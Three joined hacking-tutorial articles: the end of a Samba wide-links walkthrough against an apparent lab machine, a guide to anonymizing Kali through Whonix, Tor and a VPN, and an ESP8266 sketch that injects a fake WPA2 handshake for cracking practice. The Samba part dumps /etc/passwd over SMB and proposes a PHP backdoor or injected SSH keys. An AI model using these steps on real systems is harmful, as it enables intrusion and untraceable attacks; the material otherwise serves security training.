rootfs DR 0 Sun May 20 13:36:12 2012
7282168 blocks of size 1024. 5430648 blocks availableIt looks like there's a newdirectoryhere, the one that was created with the Metasploit module. This is a link, and we can enter it just like a normal directory. Let's do that and see what's inside:smb: \> cd rootfs\
smb: \rootfs\> ls
. DR 0 Sun May 20 13:36:12 2012
.. DR 0 Sun May 20 13:36:12 2012
initrd DR 0 Tue Mar 16 17:57:40 2010
media DR 0 Tue Mar 16 17:55:52 2010
bin DR 0 Sun May 13 22:35:33 2012
lost+found DR 0 Tue Mar 16 17:55:15 2010
mnt DR 0 Wed Apr 28 15:16:56 2010
sbin DR 0 Sun May 13 20:54:53 2012
initrd.img R 7929183 Sun May 13 22:35:56 2012
home DR 0 Fri Apr 16 01:16:02 2010
lib DR 0 Sun May 13 22:35:22 2012
usr DR 0 Tue Apr 27 23:06:37 2010
proc DR 0 Wed Aug 8 08:55:30 2018
root DR 0 Wed Aug 8 08:56:51 2018
sys DR 0 Wed Aug 8 08:55:31 2018
boot DR 0 Sun May 13 22:36:28 2012
nohup.out R 20962 Wed Aug 8 08:56:51 2018
etc DR 0 Wed Aug 8 08:56:23 2018
dev DR 0 Wed Aug 8 08:56:06 2018
vmlinuz R 1987288 Thu Apr 10 11:55:41 2008
opt DR 0 Tue Mar 16 17:57:39 2010
var DR 0 Wed Mar 17 09:08:23 2010
cdrom DR 0 Tue Mar 16 17:55:51 2010
tmp D 0 Wed Aug 8 10:52:28 2018
srv DR 0 Tue Mar 16 17:57:38 2010
7282168 blocks of size 1024. 5430648 blocks availableAnd there we have it — root filesystem access. We can now do things like view/etc/passwd, though we can't do that directly. Simply change into the/etc/directory and use thegetcommand to download the file to our machine:smb: \rootfs\> cd etc
smb: \rootfs\etc\> get passwd
getting file \rootfs\etc\passwd of size 1581 as passwd (128.7 KiloBytes/sec) (average 128.7 KiloBytes/sec)Now we can see all the users present on the target, their home directories, and theavailable shells— all useful info forreconnaissance:~# cat passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/falseFurther Attack ScenariosSince we now have access to the root filesystem, there are several different paths an attacker can take. It all depends on the attacker's imagination and the configuration of the target.There is one major caveat here: even though we have root access to the filesystem, we do not haveroot privileges. We only have the permissions associated with the anonymous login to the tmp share (usually normal user privileges). This limits what can be done, but depending on how the server is configured, there are a few things we could try.For instance, since we have write access, we could place aPHP backdoorin the web root directory of Apache, and navigate to it in the browser to trigger a shell to our local machine. Another attack vector, if SSH config file permissions are lax, would be to add ourselves to the authorized keys file, allowing us toSSH into the box.As a hacker, it is essential to be creative, and even in situations where escalating to shell access seems impossible, with enough patience and creativity, it can be done.Wrapping UpToday, we learned about wide links in Samba and how they can be abused to access the root filesystem. After verifying we could access an SMB share, we used a Metasploit module to create a link pointing to the root directory on the server. We could then view the root filesystem and explored a couple of possible attack vectors. The ability to leverage a simple misconfiguration to exploit the system should be the goal of any white-hat hacker.Don't Miss:How to Enumerate SMB with Enum4linux & SmbclientWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byPixabay/Pexels; Screenshots by drd_/Null ByteRelatedHow To:Perform Directory Traversal & Extract Sensitive InformationHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)How To:Root Apps Not Working with Magisk? Here's What to DoHow To:Leverage a Directory Traversal Vulnerability into Code ExecutionAndroid for Hackers:How to Turn an Android Phone into a Hacking Device Without RootHow To:Solo over Carlos Santana's "Samba Pa Ti" on ukuleleHow To:Zumba to Bellini's Samba De JaneiroNews:The 5 Best Free File Managers for AndroidHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 13 (Mounting Drives & Devices)How to Root Android:Our Always-Updated Rooting Guide for Major Phone ModelsHow To:Enumerate SMB with Enum4linux & SmbclientHow To:Bypass Gatekeeper & Exploit macOS 10.14.5 & EarlierNews:Another Security Concern from OnePlus — Backdoor Root App Comes Preinstalled on Millions of PhonesAndroid Basics:What Is Root?How To:USB Tether Your Android Device to Your Mac—Without RootingHow To:Push a samba rhythm by altering the hi-hat patternHow To:Add Your Own Custom Screensaver Images to Your Kindle Lock ScreenHow To:The Reasons Why So Many People Root Their Android Devices (And Why You Should, Too)How To:Use a Misconfigured SUID Bit to Escalate Privileges & Get RootHow To:Use the SysRq Key to Fix Any Linux FreezeHow To:Share files between an Ubuntu machine and Windows PCHow To:Root Your Pixel 3a with MagiskHow To:Trick Apps That Won't Run if Your Phone Is Rooted into Thinking Its Not on the Galaxy Note 3How To:Do the basic samba walk-in stepHow To:1-Click Root Many Android Devices with Kingo Android RootHow To:Root Your LG G3 (Any Carrier Variant)How To:Change System Fonts on Your Samsung Galaxy Note 3 (Root & Non-Root Methods)Hack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterRoot Exploit:Memodipper Gets You Root Access to Systems Running Linux Kernel 2.6.39+How To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceNews:Security Flaw in HTC Smartphones Leaks Your Personal Data to Certain Android AppsHow To:Do Samba-style soccer goalkeeping drillsGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker Training |
How to Fully Anonymize Kali with Tor, Whonix & PIA VPN « Null Byte :: WonderHowTo | Hacking from a host machine without any form of proxying is reckless for a hacker, and in a penetration test, could lead to an important IP address becoming quickly blacklisted by the target. By routing all traffic over Tor and reducing thethreat of malicious entrance and exit nodeswith a VPN, we can configure Kali to become thoroughly private and anonymous.Running Kali Linux in a virtual machine can be an ideal hacking platform for launching attacks, but is only as anonymous or private as the connection used. Tor is an effective traffic obfuscation network, and while Tor Browser alone cannot support a hacker's behavior, we can use Whonix to route the entirety of our Kali Linux traffic over the Tor network.Finally, in order to add a further level of anonymity, we can combine a VPN with Tor in order to further obfuscate our host traffic and prevent againstTor Deanonymization Attacks.Step 1: Gathering PrerequisitesVirtualBox is used for all virtualization within this tutorial. It runs on Windows, OS X, and is available in the repositories of most Linux distributions. It can bedownloaded from here, or it can be installed on a Debian-based Linux distro such as Kali with the following command.sudo apt-get install virtualboxIn order to virtualize Kali, we'll need a Kali disc image. We candownload it here, choosing the correct architecture (32- or 64-bit) and the desktop environment of our choice. "Kali 64 bit" should work for most users.Whonix provides an OVA file which can be opened and configured within VirtualBox. We only need the Gateway image, as we will be using Kali as our workstation rather than the Whonix Workstation environment. The Whonix-Workstation file can bedownloaded here.Don't Miss:Access the Dark Web While Staying Anonymous with TorFinally, you'll need a VPN service to be able to route traffic over the VPN before entering the Tor network. We recommendPrivate Internet Access's VPN service, however, there are a number of other free and paid VPN services available online.When choosing a VPN, it's best to consider the general trustworthiness of the service, the location of their servers, as well as their stated policies regarding data and metadata logging. PIA has a stated policy of not keeping logs, but no server outside of one under a user's own control can ever be assumed to be completely trustworthy.With all of the prerequisites prepared, we can begin configuring our virtualized environment.Step 2: Configuring Whonix in VirtualBoxWith VirtualBox open after completing it's installation, first select the "File" menu and click on "Import Appliance."Click the folder icon on the right to "Choose a Virtual Appliance File to Import" and to open a file browsing menu.Browse to the Whonix Gateway OVA file which was previously downloaded, select it, and click "Next." After this, click "Import" to initiate the configuration of the Whonix Gateway virtual machine.The License Agreement must be agreed to by clicking "Agree" in order to continue the configuration process. After completing this process, VirtualBox should look something like the image below, with a Whonix Gateway virtual machine available in the left pane of the window.Step 3: Running Kali in VirtualBoxThe steps for configuring the Kali virtual machine within VirtualBox will be similar to the process for configuring the Whonix Gateway. We'll need to choose a few additional configuration options, and directly point VirtualBox towards our Kali disk image.Begin by clicking the "New" button at the upper left corner of the VirtualBox interface.In the next form, choose a descriptive name for your virtual machine, in this case "Kali Linux," and select "Type: Linux" and "Version: Linux 2.6 / 3 / 3.x / 4.x (64-bit)"In the next step, allocate the amount of memory you would like for the virtual machine to access. At least 1024 MB, or 1 GB, is recommended. On hardware with more RAM, a larger allocation could lead to more effective performance.Then choose "Create a virtual hard disk now."Select VDI or "Virtual Disk Image" and "Dynamically Allocated."Lastly, allocate the amount of space you are willing to provide for the Kali virtual machine.Keep in mind that this limit is based on the maximum size the VM will be allowed to take up on your hard drive, and not necessarily the amount of space which it will actually take up.The size of the virtual machine is more likely to correlate more closely to the size of the disc image, or ISO file, which the VM boots from.Finally, after clicking "Create" the Kali virtual machine should appear in the left pane, along with the previously configured Whonix Gateway VM.Step 4: Booting & Installing KaliAfter the virtual machine has been added, we can run it by pressing the start button with our Kali virtual machine selected.Upon booting up the virtual machine, we'll be prompted to select a virtual drive. At this stage, the Kali Linux ISO file should be selected.After "Start" is pressed, a Kali should begin it's startup process and open a boot menu.The virtual machine behaves as if it were a Kali image being loaded onto any other piece of hardware, and as such at this stage it can be installed, or run as a live boot. The Whonix and VPN configuration will still function with a live boot device, and the machine state and configuration can be saved using VirtualBox's save state function.Installing Kali onto the virtual machine does, however, provide some benefit. The virtual machine can be booted and rebooted, and with this, it may be easier to save configuration states on the virtual hard drive rather than solely within VirtualBox's save states. The graphical install works as any other distro install wizard and should be relatively simple to follow.After the virtual machine has been installed or booted, the following steps will allow us to configure it to work with Whonix.Upon booting our Kali VM, our first action should be to open a Terminal window and update the system. We'll update the package registry, and upgrade outdated packages.sudo apt-get update && sudo apt-get upgradeAfter our system has finished updating, we can shut down the system using Kali's login manager.Step 5: Routing Kali Through WhonixFirst, we'll want to boot our Whonix virtual machine in the same way as we started the Kali VM, by pressing the "Start" button in the upper left of the VirtualBox window. After initial configuration, and potentially a required reboot of the virtual machine, we should be left with something similar to the window below.We'll want to leave this open as we configure Kali, as all of Kali's traffic will be passed through Whonix, and through Whonix over Tor. This Tor gateway will only work so long as it is booted and running.Next, we'll return to the VirtualBox manager, right-click on the Kali VM, and select settings. Within the setting window, we'll want to select the "Network" option in the left pane, and here change "Attached to" to "Internal Network" and select "Whonix" as the "Name" parameter.After this settings change is saved by pressing "OK" we can boot our Kali virtual machine back up. Once Kali is booted, the first thing we want to do is set the time zone toUTC.UTC is the universal time zone used by all Whonix Workstations and Tor Browsers. It helps preventtime-based de-anonymization attacksand can be accomplished using the belowtimedatectlcommand.timedatectl set-timezone UTCThen, use thedatecommand toverify the correct UTC timehas been configured.date
Tue Dec 18 23:52:57 UTC 2018Simply usingtimedatectlis a quick-and-dirty solution. Proper time-zone syncing must be accurate to the millisecond for adequate protection again time-based attacks. Readers are encouraged to reference the official Whonix documentation to learn more aboutnetwork time synchronizationand thedangers of creating custom Whonix Workstations.Next, network activity will not be functional. Before Kali traffic can be routed through Whonix, a few changes will need to be made to Kali's networking configuration. First, let's disable the network adapter usingifconfig.ifdown eth0
ifconfig etho0 downNow, /etc/resolv.conf will be updated with the correct Whonix nameserver. We can edit this in GNU Nano. Nano's controls are relatively simple, the arrow keys and page up/down keys move the cursor, and keyboard inputs are inserted into the file. To open a nano window, type the following.nano /etc/resolv.confWe'll want to add the following to the file, first removing any other configuration parameters if any are present.nameserver 10.152.152.10We can write our changes to the file withCtrl+Oand then exit Nano withCtrl+X.The next file we're going to edit is /etc/network/interfaces. We can do so by typing the following.nano /etc/network/interfacesAt the bottom of the file, we'll want to add the following information in order to define where the virtual network adapter should look for certain network items.iface eth0 inet static
address 10.152.152.11
netmask 255.255.192.0
gateway 10.152.152.10Again, write our changes to the file withCtrl+Oand then exit Nano withCtrl+X.Finally, we just bring our virtual network adapter back online and traffic should be routed properly by typing the following.ifup eth0We can check that our traffic is being routed over Tor by going to a page likethis Tor testing page. If the page confirms we are using Tor, we've succeeded in routing all of our Kali traffic over Tor!Step 6: Adding a VPNAs we are routing all of our traffic within the virtual machine through Tor, we can enclose all traffic leading towards them by adding a VPN, either on the host device which is running the virtual machines, or byadding a VPN to our Whonix configuration. It's generally easier to add a VPN to the host, but if we wish to ensure that all of our traffic is enclosed in the VPN and that no leakage is possible, we may use a tool likeVPN Firewallfor Linux host systems.VPN configuration differs according to different operating systems or distros. If your VPN provider offers a configuration file for their VPN, such as an OpenVPN file, you may be able to simply import the configuration.Private Internet Access's VPN, for example, provides a Downloads and Support page which explains how to install and configure their VPN on a variety of operating systems.With all of these anonymity tools configured and a Kali virtual machine, you're ready to browse and hack privately, securely, and anonymously! If you have any questions, you can ask in the comments below or on Twitter.Follow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image by Null Byte; Screenshots by Takhion/Null ByteRelatedHow To:Detect Misconfigurations in 'Anonymous' Dark Web Sites with OnionScanHow To:Hide Your IP Address with a Proxy ServerHow To:Use Private Encrypted Messaging Over TorHow To:Set Up Private Internet Access in LinuxHow To:VPN Your IoT & Media Devices with a Raspberry Pi PIA RoutertrafficHow To:The Top 80+ Websites Available in the Tor NetworkNews:Reality of VPNs, Proxies, and TorHack Like a Pro:How to Keep Your Internet Traffic Private from AnyoneHow To:Completely Mask & Anonymize Your BitTorrent Traffic Using AnomosHow To:Become Anonymous on the Internet Using TorTor vs. I2P:The Great Onion DebateNews:Anonymity Networks. Don't use one, use all of them!News:Anonymity, Darknets and Staying Out of Federal Custody, Part Two: Onions and DaggersHow To:Use Tortunnel to Quickly Encrypt Internet TrafficNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesHow To:Chain VPNs for Complete Anonymity |
How to Generate Crackable Wi-Fi Handshakes with an ESP8266-Based Test Network « Null Byte :: WonderHowTo | If you've wanted to get into Wi-Fi hacking, you might have noticed that it can be pretty challenging to find a safe and legal target to hack. But you can easily create your own test network using a single ESP8266-based microcontroller like theD1 Mini.Our goal is to crack a handshake that we capture from our wireless card. So what we'll do here is flash an Arduino sketch onto an ESP8266-based board that allows us to play both sides of a Wi-Fi conversation, simulating a device joining a Wi-Fi network. From our computer, we'll listen for the attempt to join and then try to crack the password.For this to work, you'll need a computer with Arduino IDE installed, as well as a D1 Mini or another type of ESP8266-based development board. You can pick one of these up below. I personally recommend the D1 Mini.IZOKEE ESP8266 ESP-12F D1 Mini (3 Pack)(currently $12.69)IZOKEE ESP8266 ESP-12F D1 Mini (5 Pack)(currently $15.79)Organizer ESP8266 ESP-12F D1 Mini (5 Pack)(currently $15.69)Step 1: Get the Arduino SketchHead to Kody'sEsp8266Wpa2Handshakeproject on GitHub and download the "hamshake_injector.ino" sketch. You could also start a new sketch in Arduino IDE and add the sketch's code below if you don't want to download anything. (Kody created this sketch in collaboration with Spacehuhn.)#include <ESP8266WiFi.h>
extern "C" {
#include "user_interface.h"
typedef void (*freedom_outside_cb_t)(uint8 status);
int wifi_register_send_pkt_freedom_cb(freedom_outside_cb_t cb);
void wifi_unregister_send_pkt_freedom_cb(void);
int wifi_send_pkt_freedom(uint8 *buf, int len, bool sys_seq);
}
uint8_t packet0[] = {
0x80, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xda, 0xf1, 0x5b, 0x0c, 0xe2,
0xff, 0xda, 0xf1, 0x5b, 0x0c, 0xe2, 0xff, 0xd0,
0x36, 0x8a, 0xf5, 0xd3, 0x04, 0x00, 0x00, 0x00,
0x00, 0x64, 0x00, 0x11, 0x00, 0x00, 0x04, 0x74,
0x65, 0x73, 0x74, 0x01, 0x08, 0x8b, 0x96, 0x82,
0x84, 0x0c, 0x18, 0x30, 0x60, 0x03, 0x01, 0x01,
0x05, 0x04, 0x00, 0x02, 0x00, 0x00, 0x07, 0x06,
0x43, 0x4e, 0x00, 0x01, 0x0d, 0x14, 0x32, 0x04,
0x6c, 0x12, 0x24, 0x48, 0xdd, 0x09, 0x18, 0xfe,
0x34, 0x03, 0x01, 0x00, 0x00, 0x00, 0x00, 0x30,
0x18, 0x01, 0x00, 0x00, 0x0f, 0xac, 0x02, 0x02,
0x00, 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac,
0x02, 0x01, 0x00, 0x00, 0x0f, 0xac, 0x02, 0x00,
0x00
};
uint8_t packet1[] = {
0x08, 0x02, 0x3a, 0x01, 0xbc, 0xdd, 0xc2,
0xb2, 0xc0, 0xab, 0xda, 0xf1, 0x5b, 0x0c, 0xe2,
0xff, 0xda, 0xf1, 0x5b, 0x0c, 0xe2, 0xff, 0x00,
0x00, 0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00, 0x88,
0x8e, 0x02, 0x03, 0x00, 0x5f, 0x02, 0x00, 0x8a,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0xa3, 0x16, 0xe8, 0xc7, 0x81, 0xa0,
0x4f, 0xfe, 0x9d, 0xab, 0x1c, 0x6c, 0xba, 0xc0,
0xc8, 0xf2, 0x71, 0xce, 0x9f, 0xf4, 0x11, 0x56,
0xf1, 0x0f, 0x33, 0x5b, 0x31, 0x71, 0xae, 0x8c,
0xa5, 0x86, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00
};
uint8_t packet2[] = {
0x08, 0x01, 0x3a, 0x01, 0xda, 0xf1, 0x5b,
0x0c, 0xe2, 0xff, 0xbc, 0xdd, 0xc2, 0xb2, 0xc0,
0xab, 0xda, 0xf1, 0x5b, 0x0c, 0xe2, 0xff, 0x00,
0x00, 0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00, 0x88,
0x8e, 0x01, 0x03, 0x00, 0x75, 0x02, 0x01, 0x0a,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0xdb, 0x6a, 0x19, 0x1d, 0x59, 0x75,
0xbf, 0x01, 0x0c, 0x7c, 0xb4, 0x41, 0xd6, 0xfb,
0x2b, 0xcb, 0xf3, 0xf5, 0xfb, 0x21, 0x6b, 0x50,
0xd8, 0xfb, 0xa6, 0x57, 0xb6, 0xef, 0xc9, 0x1a,
0x4c, 0xc8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x23, 0x98, 0xca, 0x33, 0x5e, 0x53,
0x26, 0x8a, 0x12, 0xe2, 0xea, 0x47, 0xd4, 0x6e,
0xcb, 0x0f, 0x00, 0x16, 0x30, 0x14, 0x01, 0x00,
0x00, 0x0f, 0xac, 0x02, 0x01, 0x00, 0x00, 0x0f,
0xac, 0x04, 0x01, 0x00, 0x00, 0x0f, 0xac, 0x02,
0x00, 0x00
};
uint8_t packet3[] = {
0x08, 0x02, 0x3a, 0x01, 0xbc, 0xdd, 0xc2,
0xb2, 0xc0, 0xab, 0xda, 0xf1, 0x5b, 0x0c, 0xe2,
0xff, 0xda, 0xf1, 0x5b, 0x0c, 0xe2, 0xff, 0x10,
0x00, 0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00, 0x88,
0x8e, 0x02, 0x03, 0x00, 0xaf, 0x02, 0x13, 0xca,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x02, 0xa3, 0x16, 0xe8, 0xc7, 0x81, 0xa0,
0x4f, 0xfe, 0x9d, 0xab, 0x1c, 0x6c, 0xba, 0xc0,
0xc8, 0xf2, 0x71, 0xce, 0x9f, 0xf4, 0x11, 0x56,
0xf1, 0x0f, 0x33, 0x5b, 0x31, 0x71, 0xae, 0x8c,
0xa5, 0x86, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x61, 0x40, 0xb2, 0xb8, 0x81, 0xf6,
0xd2, 0xc0, 0x2f, 0x92, 0x8a, 0x63, 0x36, 0x04,
0x68, 0xc4, 0x00, 0x50, 0x67, 0x1c, 0x65, 0xee,
0xc4, 0xba, 0xf0, 0x2d, 0xe9, 0x0e, 0xfe, 0x58,
0x65, 0x7d, 0xfc, 0xab, 0xe9, 0x8e, 0x99, 0x0f,
0xcf, 0x04, 0x39, 0x3b, 0x20, 0x3c, 0x17, 0xc6,
0xec, 0xd9, 0x2a, 0xda, 0x31, 0xa6, 0xd8, 0x42,
0xfd, 0x66, 0x8e, 0x09, 0x47, 0xeb, 0x0d, 0x1c,
0x0a, 0x5f, 0x69, 0x47, 0xdf, 0x68, 0xf7, 0xf0,
0x98, 0xa9, 0xb0, 0x8c, 0xa7, 0x61, 0x45, 0x60,
0xb2, 0x09, 0xce, 0x99, 0xae, 0xba, 0xb5, 0xea,
0xba, 0x4c, 0xc0, 0x76, 0xe7, 0x4b, 0x8e, 0x01,
0x06, 0x9c, 0x9c, 0x43
};
uint8_t packet4[] = {
0x08, 0x01, 0x3a, 0x01, 0xda, 0xf1, 0x5b,
0x0c, 0xe2, 0xff, 0xbc, 0xdd, 0xc2, 0xb2, 0xc0,
0xab, 0xda, 0xf1, 0x5b, 0x0c, 0xe2, 0xff, 0x10,
0x00, 0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00, 0x88,
0x8e, 0x01, 0x03, 0x00, 0x5f, 0x02, 0x03, 0x0a,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xb5, 0x84, 0x9b, 0x18, 0x61, 0x0b,
0xd3, 0x76, 0x1d, 0x79, 0x21, 0xdd, 0x0a, 0xcf,
0x2d, 0x00, 0x00, 0x00
};
void setup() {
Serial.begin(115200);
Serial.println();
// start WiFi
WiFi.mode(WIFI_OFF);
wifi_set_opmode(STATION_MODE);
// set channel
wifi_set_channel(11);
}
void loop() {
int i=0;
i += wifi_send_pkt_freedom(packet0, sizeof(packet0), 0);
delay(100);
i += wifi_send_pkt_freedom(packet1, sizeof(packet1), 0);
delay(100);
i += wifi_send_pkt_freedom(packet2, sizeof(packet2), 0);
delay(100);
i += wifi_send_pkt_freedom(packet3, sizeof(packet3), 0);
delay(100);
i += wifi_send_pkt_freedom(packet4, sizeof(packet4), 0);
delay(100);
Serial.println(i);
delay(500);
}Step 2: Add Boards to ArduinoBefore we can flash the sketch over to the microcontroller, we'll need to make sure we have the correct board installed. Open up the "Preferences" in Arduino IDE, then paste the following JSON link in the "Additional Board Manager URLs" field. If you already have some board URLs, you can click the expand button to see it better. Paste the following URL on a separate line. Click "OK," then "OK" again to close the settings.Don't Miss:Change a Phone's Coordinates by Spoofing Wi-Fi Geolocation Hotspotshttps://arduino.esp8266.com/stable/package_esp8266com_index.jsonWhen this is correctly added to Arduino IDE, it will pull down all of the different ESP8266-based boards so that we can select the version we have to set up a line of communication between the software and microcontroller.Now, go to "Tools," choose "Board," then "Boards Manager." In the search field, type "esp8266," then install the one by ESP8266 Community. Wait for it to finish installing, then "Close" out of the window.Step 3: Choose the Right PortTo communicate with the ESP8266 board, you need to choose the correct port that it's using to connect. So if you haven't connected your D1 Mini or another type of ESP8266 to your computer, do that now. Make sure you have a good USB data cable. If it's not showing up, try another cable.To find your port in Linux, open a terminal window, and try:~$ dmesg | grep tty
/dev/cu.Bluetooth-Incoming-Port /dev/cu.usbserial-110
/dev/cu.debug-console /dev/cu.wlan-debugIn macOS, you can try:~$ ls /dev/cu.*
/dev/cu.Bluetooth-Incoming-Port /dev/cu.usbserial-110
/dev/cu.debug-console /dev/cu.wlan-debugTo verify you have the right device, you can unplug the MCU, rerun the scan, and see which port is missing. Plug it back in, rerun it again, and you should see it pop back up. For me, it's/dev/cu.usbserial-110.Back in Arduino IDE, go to "Tools," then "Port," and make sure to select the MCU's port. Then, in "Tools," go back to "Board," but this time select "ESP8266 Boards." These are the boards the link in Step 2 populated. Find and select your microcontroller's model.Step 4: Erase the BoardIf you already used the ESP8266 at some point before, there might be code on it already. In that case, you should use the following to erase the board first. See our other guide for more information ongetting and using esptool.py to erase your boards.~$ esptool.py --port /dev/cu.wchusbserial14140 erase_flash
esptool.py v3.0
Serial port /dev/cu.usbserial-110
Connecting....
Detecting chip type... ESP8266
Chip is ESP8266EX
Features: WiFi
Crystal is 26MHz
MAC: ██:██:██:██:██:██
Uploading stub...
Running stub...
Stub running...
Erasing flash (this may take a while)...
Chip erase completed successfully in 9.0s
Hard resetting via RTS pin...Step 5: Set Your ChannelBefore we compile and flash the sketch, let's look at it. We're going to be transmitting several different packets later, but what are these packets? Well, these are a four-way handshake — all the information we need to try to crack a Wi-Fi password — as well as a beacon frame.That last part is important because the cracking tools we're going to use simply cannot recognize a beacon frame without the network name in it. If it lacks that piece of information, it wouldn't be able to put our password guesses through the algorithm necessary to create the hash to compare them against. So we really need the Wi-Fi network name in the beacon frame, as well as the handshake, to pull this off.When we compile and flash the sketch to the ESP8266 board a few steps down, we will be broadcasting these packets, but we will have a hard time finding them if we don't know what channel to listen in on. If you look at the sketch, you can see a spot for the channel. I have it as channel 11 since that's the channel for the network I'm connected to, but you can edit this channel now before you upload it to the board. This is so that we'll know where to be listening in for these packets being broadcasted.void setup() {
Serial.begin(115200);
Serial.println();
// start WiFi
WiFi.mode(WIFI_OFF);
wifi_set_opmode(STATION_MODE);
// set channel
wifi_set_channel(11);
}Step 6: Compile & Flash the SketchWhen your board is ready to go, in the hamshake_injector.ino sketch, click the "Upload" button to compile and upload the code to the microcontroller. At the bottom of the window, you should see something similar to the following.Sketch uses 266372 bytes (25%) of program storage space. Maximum is 1044464 bytes.Executable segment sizes:
IROM : 236768 - code in flash (default or ICACHE_FLASH_ATTR)
Global variables use 27684 bytes (33%) of dynamic memory, leaving 54236 bytes for local variables. Maximum is 81920 bytes.
IRAM : 26888 / 32768 - code in IRAM (ICACHE_RAM_ATTR, ISRs...)
DATA : 1988 ) - initialized variables (global, static) in RAM/HEAP
RODATA : 728 ) / 81920 - constants (global, static) in RAM/HEAP
BSS : 24968 ) - zeroed variables (global, static) in RAM/HEAP
esptool.py v2.8
Serial port /dev/cu.usbserial-110
Connecting....
Chip is ESP8266EX
Features: WiFi
Crystal is 26MHz
MAC: ██:██:██:██:██:██
